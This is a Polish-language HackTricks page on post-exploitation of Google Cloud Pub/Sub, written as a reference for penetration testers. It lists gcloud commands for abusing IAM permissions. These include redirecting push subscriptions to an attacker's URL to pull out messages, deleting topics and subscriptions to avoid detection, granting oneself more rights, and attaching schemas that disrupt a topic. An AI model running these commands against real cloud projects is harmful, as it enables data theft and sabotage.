GCP - Pub/Sub Post Exploitation

Wspieraj HackTricks

Pub/Sub

Więcej informacji o Pub/Sub znajdziesz na poniższej stronie:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publikuj wiadomość w temacie, przydatne do wysyłania nieoczekiwanych danych i wywoływania nieoczekiwanych funkcji lub wykorzystywania luk:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Przydatne do zapobiegania otrzymywaniu wiadomości przez subskrypcję, może w celu uniknięcia wykrycia.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Przydatne, aby zapobiec otrzymywaniu wiadomości przez subskrypcję, może w celu uniknięcia wykrycia. Możliwe jest usunięcie tematu nawet z dołączonymi subskrypcjami.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia tematu, aby go zakłócić, takie jak --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Nadaj sobie uprawnienia do wykonania któregokolwiek z poprzednich ataków.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Pobierz wszystkie wiadomości na serwerze WWW:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Utwórz subskrypcję i użyj jej do pobierania wiadomości:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Usunięcie subskrypcji może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia, tak aby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, tabela Big Query, Bucket) lub po prostu, aby je zakłócić.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Nadaj sobie uprawnienia potrzebne do wykonania któregokolwiek z wcześniej wspomnianych ataków.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Dołącz schemat do tematu, aby wiadomości go nie spełniały, co spowoduje zakłócenie tematu. Jeśli nie ma żadnych schematów, może być konieczne utworzenie jednego.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Może się wydawać, że usunięcie schematu pozwoli na wysyłanie wiadomości, które nie spełniają wymagań schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość faktycznie nie trafi do tematu. Więc to jest BEZUŻYTECZNE:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Nadaj sobie uprawnienia potrzebne do wykonania któregokolwiek z wcześniej wspomnianych ataków.

pubsub.snapshots.create, pubsub.snapshots.seek

To utworzy migawkę wszystkich niepotwierdzonych wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto jest:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Wspieraj HackTricks

Last updated